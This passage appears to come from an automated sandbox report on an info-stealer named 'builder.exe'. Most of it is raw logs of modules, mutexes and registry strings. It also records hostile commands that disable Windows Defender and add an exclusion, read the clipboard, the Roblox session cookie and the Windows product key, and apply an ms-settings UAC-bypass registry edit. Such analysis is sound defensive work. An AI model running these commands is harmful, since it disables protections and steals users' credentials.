with name "SM0:1004:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:1004:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:1004:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1004:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1004:120:WilError_01" Process Camera.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6940:168:WilStaging_02" Process Camera.exe created mutex with name "\Sessions\1\BaseNamedObjects\AMResourceMutex3" Process Camera.exe created mutex with name "SM0:6940:168:WilStaging_02" Process Camera.exe created mutex with name "AMResourceMutex3"3e:T7f6,Antivirus vendors marked dropped file "python310.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "libcrypto-1_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "rar.exe" as clean (type is "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"), Antivirus vendors marked dropped file "sqlite3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "libssl-1_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "VCRUNTIME140.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "unicodedata.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_decimal.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_lzma.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_ssl.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_ctypes.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_sqlite3.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_bz2.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_socket.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections"), Antivirus vendors marked dropped file "_hashlib.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections")3f:T57e,Process "powershell.exe" with commandline "powershell -Command Add-MpPreference -ExclusionPath 'C:\\builder.exe'" (UID: 00000000-00001004) Process "powershell.exe" with commandline "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend" (UID: 00000000-00002000) Process "powershell.exe" with commandline "powershell Get-Clipboard" (UID: 00000000-00007588) Process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY" (UID: 00000000-00008096) Process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY" (UID: 00000000-00001548) Process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER" (UID: 00000000-00005624) Process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" (UID: 00000000-00005616)40:Td00,"builder.exe" failed to load missing module "%TEMP%\_MEI50282\python3" - [base:0; Status:c0000135] "builder.exe" failed to load missing module "python3" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]41:Tcf5,"builder.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python310.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libcrypto-1_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "rar.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-1_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "VCRUNTIME140.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "Camera.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "libffi-7.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_sqlite3.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_bz2.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_socket.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_hashlib.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_queue.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "select.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "tinyaes.cp310-win_amd64.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT42:T23c0,"Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001732.00000000.176002.D9E30000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001732.00000000.176002.D9E30000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002000.00000001.177576.1388A000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002000.00000001.177576.49F50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002000.00000001.177576.49F50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002000.00000001.177576.64110000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\AppID\systeminfo.exe" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "achine\Software\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{00000339--" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "\Software\Classes\CLSID\{00000339-0000-0000-C000-00?" in Source: 00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp "Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix" in Source: 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp ":\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\AppID\systeminfo.exe" in Source: 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00" in Source: 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp "istry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00003884.00000000.176630.B2F70000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00003884.00000000.176630.B2F70000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004020.00000000.176608.0C910000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00004020.00000000.176608.0C910000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004020.00000001.177902.0C910000.00000004.mdmp ":\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\mitmpro\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00004020.00000001.177902.0C910000.00000004.mdmp "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00004936.00000000.176685.968AB000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00004936.00000000.176685.968AB000.00000002.mdmp "5574-\Registry\Machine\Software\Classes\WOW6N" in Source: 00000000-00006748.00000000.176606.3A0A0000.00000004.mdmp "SOFTWARE\Classes\PROTOCOLS\Filter\text/xml" in Source: 00000000-00006748.00000000.176606.3A0A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006748.00000000.176606.3A0A0000.00000004.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00006748.00000000.176606.BDEEE000.00000002.mdmp "5574-\Registry\Machine\Software\Classes\WOW6N" in Source: 00000000-00006748.00000001.176856.3A0A0000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Drivers32" in Source: 00000000-00006940.00000001.176861.02D40000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}\Debug" in Source: 00000000-00007276.00000000.175628.A8300000.00000004.mdmp "Software\Python\PythonCore\{sys_version}\Modules\{fullname}" in Source: 00000000-00007276.00000000.175628.A8300000.00000004.mdmp "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" in Source: 00000000-00007276.00000000.175628.A8AD0000.00000004.mdmp "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" in Source: 00000000-00007276.00000000.175628.A8AD0000.00000004.mdmp "reg add hkcu\Software\Classes\ms-settings\shell\open\command /d "" in Source: 00000000-00007276.00000000.175628.A8AD0000.00000004.mdmp, "reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007276.00000000.175628.A8AD0000.00000004.mdmp, "reg delete hkcu\Software\Classes\ms-settings /f" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "reg add hkcu\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "powershell Get-ItemPropertyValue -Path {}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" in Source: 00000000-00007276.00000000.175628.A8DD0000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0E" in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "Machine\Software\Classes\CLSID" in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "y\Machine\Software\Class" in Source: 00000000-00007588.00000001.177431.B1A20000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007588.00000001.177431.CBD40000.00000004.mdmp, "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007892.00000000.176629.15520000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00007892.00000000.176629.15520000.00000004.mdmp, "574-\Registry\Machine\Software\Clas" in Source: 00000000-00007892.00000000.176629.15520000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68" in Source: 00000000-00007892.00000000.176629.15520000.00000004.mdmp43:T4947,"builder.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "builder.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8e2640000 "builder.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8e2640000 "builder.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8e2640000 "builder.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "builder.exe" loaded module "NTDLL.DLL" at base 7ff8e6240000 "builder.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "builder.exe" loaded module "ADVAPI32.DLL" at base 7ff8e38e0000 "builder.exe" loaded module "API-MS-WIN-CORE-PATH-L1-1-0.DLL" at base 7ff8e2640000 "builder.exe" loaded module "API-MS-WIN-CRT-CONIO-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-CONVERT-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-HEAP-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-LOCALE-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-MATH-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-PROCESS-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-STDIO-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-STRING-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "API-MS-WIN-CRT-TIME-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "VCRUNTIME140.DLL" at base 7ff8d9a10000 "builder.exe" loaded module "VERSION.DLL" at base 7ff8d9a00000 "builder.exe" loaded module "WS2_32.DLL" at base 7ff8e47e0000 "builder.exe" loaded module "%TEMP%\_MEI50282\PYTHON310.DLL" at base 7ff8b40a0000 "builder.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8e1a30000 "builder.exe" loaded module "PYTHON310.DLL" at base 7ff8b40a0000 "builder.exe" loaded module "%TEMP%\_MEI50282\TINYAES.CP310-WIN_AMD64.PYD" at base 7ff8ceee0000 "builder.exe" loaded module "LIBFFI-7.DLL" at base 7ff8ce840000 "builder.exe" loaded module "OLE32.DLL" at base 7ff8e4500000 "builder.exe" loaded module "OLEAUT32.DLL" at base 154a7ef0000 "builder.exe" loaded module "%TEMP%\_MEI50282\_CTYPES.PYD" at base 7ff8cdd00000 "builder.exe" loaded module "KERNEL32" at base 7ff8e4850000 "builder.exe" loaded module "%TEMP%\_MEI50282\_LZMA.PYD" at base 7ff8c9870000 "builder.exe" loaded module "%TEMP%\_MEI50282\_BZ2.PYD" at base 7ff8cc650000 "builder.exe" loaded module "API-MS-WIN-CRT-UTILITY-L1-1-0.DLL" at base 7ff8e2950000 "builder.exe" loaded module "SQLITE3.DLL" at base 7ff8b3f20000 "builder.exe" loaded module "%TEMP%\_MEI50282\_SQLITE3.PYD" at base 7ff8cab50000 "builder.exe" loaded module "IPHLPAPI.DLL" at base 7ff8e1bb0000 "builder.exe" loaded module "%TEMP%\_MEI50282\_SOCKET.PYD" at base 7ff8ca8d0000 "builder.exe" loaded module "%TEMP%\_MEI50282\SELECT.PYD" at base 7ff8ce650000 "builder.exe" loaded module "BCRYPT.DLL" at base 7ff8e20f0000 "builder.exe" loaded module "USER32.DLL" at base 7ff8e5f90000 "builder.exe" loaded module "LIBCRYPTO-1_1.DLL" at base 7ff8b3ba0000 "builder.exe" loaded module "CRYPT32.DLL" at base 7ff8e2d40000 "builder.exe" loaded module "LIBSSL-1_1.DLL" at base 7ff8b3ae0000 "builder.exe" loaded module "%TEMP%\_MEI50282\_SSL.PYD" at base 7ff8c6ca0000 "builder.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff8e1e20000 "builder.exe" loaded module "%TEMP%\_MEI50282\_HASHLIB.PYD" at base 7ff8c9a10000 "builder.exe" loaded module "%TEMP%\_MEI50282\_QUEUE.PYD" at base 7ff8ce420000 "builder.exe" loaded module "USER32" at base 7ff8e5f90000 "builder.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff8e25b0000 "builder.exe" loaded module "%TEMP%\_MEI50282\UNICODEDATA.PYD" at base 7ff8b39c0000 "builder.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff8da030000 "builder.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff8db4e0000 "builder.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8e2ca0000 "builder.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 7ff8e2640000 "builder.exe" loaded module "CRYPT32" at base 7ff8e2d40000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff8e6240000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "net1.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff8e0920000 "tasklist.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "tasklist.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8e2640000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8d7f60000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WINSTA.DLL" at base 7ff8e1740000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8d7040000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e2640000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8e2640000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8d5ae0000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8d5e90000 "tasklist.exe" loaded module "NTDLL.DLL" at base 7ff8e6240000 "WMIC.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "WMIC.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8e2640000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8d7f60000 "WMIC.exe" loaded module "SSPICLI.DLL" at base 7ff8e2490000 "WMIC.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ff8d3ee0000 